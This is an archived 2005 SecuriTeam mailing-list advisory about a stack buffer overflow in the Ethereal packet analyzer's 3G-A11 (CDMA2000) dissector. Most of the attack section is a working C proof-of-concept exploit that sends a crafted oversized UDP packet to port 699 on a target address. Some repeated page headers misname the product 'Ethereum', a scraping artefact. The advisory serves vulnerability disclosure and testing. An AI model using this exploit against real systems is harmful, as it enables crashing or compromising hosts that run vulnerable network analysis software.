

# [EXPL] Ethereal 3G Remote Buffer Overflow Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0040.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 03/10/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 10 Mar 2005 16:40:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Ethereal 3G Remote Buffer Overflow Exploit

---

## SUMMARY

Ethereal is vulnerable to a stack based buffer overflow in the CDMA2000 of 3G filter. This may allow an attacker to run arbitrary machine code on a vulnerable host. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

/\*

\*

\* Ethereal 3G-A11 remote buffer overflow PoC exploit

\* -----

\* Coded by Leon Juranic <[ljuranic@lss.hr](mailto:ljuranic@lss.hr)>

\* LSS Security <<http://security.lss.hr/en/>>

\*

\*/

```
#include <stdio.h>
```

```
#include <sys/socket.h>
```

## Securiteam: [EXPL] Ethereum 3G Remote Buffer Overflow Exploit

```
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

main (int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
unsigned char buf[1024];
char bla[200];

sock=socket(AF_INET,SOCK_DGRAM,0);

sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(699);

buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150; // len for overflow...play with this value if it doesn't
work

memset (bla,'B',200);
strncpy (buf+32,bla,180);

sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:ljuranic@lss.hr>> Leon Juranic.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

## Securiteam: [EXPL] Ethereum 3G Remote Buffer Overflow Exploit

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.